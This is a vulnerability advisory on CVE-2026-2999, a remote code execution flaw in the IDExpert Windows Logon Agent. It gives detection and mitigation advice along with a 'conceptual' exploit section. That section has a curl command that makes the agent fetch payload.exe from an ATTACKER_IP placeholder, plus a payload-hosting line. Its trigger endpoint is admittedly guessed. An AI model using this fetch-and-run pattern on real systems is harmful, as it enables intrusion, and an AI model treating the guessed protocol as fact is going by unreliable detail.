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How CVE-2026-2999 Works:
This critical vulnerability resides in the IDExpert Windows Logon Agent developed by Changing Technology . It is rooted in the agent’s failure to perform integrity checks on code it downloads (CWE-494) . An unauthenticated remote attacker can exploit this by forcing the vulnerable agent to connect to an attacker-controlled server. The agent can then be manipulated to download an arbitrary executable file, which it subsequently executes without any validation or signature verification . Because the attack requires no privileges or user interaction and can be carried out over a network, it is classified as a critical Remote Code Execution (RCE) flaw . The official CVSS 4.0 vector string is CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N, reflecting its high impact on system confidentiality, integrity, and availability .
dailycve form:
Platform: Windows
Version: 2.7.3.230719-2.8.4.250925
Vulnerability : Remote Code Execution
Severity: CRITICAL
date: 2026-03-02
Prediction: Patch mid-April
What Undercode Say:
Analytics:
The vulnerability is likely weaponized quickly due to its simplicity and lack of required authentication. Look for unexpected outbound connections from the Logon Agent process (IDExpert.exe) to remote IPs on common ports (80, 443, 8080). Monitor for the creation of child processes from the agent, especially `cmd.exe` or powershell.exe, immediately after a network request. Endpoint detection rules should flag any unsigned executables written to disk by the agent process.
Exploit:
Conceptual Bash script to simulate the attack
This forces the target agent to download and run a malicious payload.
TARGET_IP="<VICTIM_IP>"
LISTENER_IP="<ATTACKER_IP>"
MALICIOUS_PAYLOAD_URL="http://${LISTENER_IP}:8000/payload.exe"
echo "[] Exploiting CVE-2026-2999 on ${TARGET_IP}"
Send a crafted request to trigger the download.
The exact protocol/port for the agent is not public, this is a conceptual curl command.
curl -X POST "http://${TARGET_IP}:<AGENT_PORT>/trigger" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "action=update&server=${MALICIOUS_PAYLOAD_URL}"
On the attacker's machine, host the malicious payload
python3 -m http.server 8000
Protection from this CVE:
Immediately isolate systems running the IDExpert Windows Logon Agent from untrusted networks. Apply strict firewall rules to block the agent from initiating outbound connections to the internet. Monitor vendor channels (changingtec.com) for the official security patch. As a workaround, consider disabling the automatic update feature of the agent if not required . Use application whitelisting to prevent execution of untrusted binaries downloaded by the agent.
Impact:
Successful exploitation grants an attacker complete control over the affected system . This includes the ability to steal credentials, install ransomware, use the host as a pivot point for lateral movement within the corporate network, and disrupt authentication services . Given the agent’s role in Windows logon, a compromise could undermine the entire domain’s security posture.
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Sources:
Reported By: nvd.nist.gov
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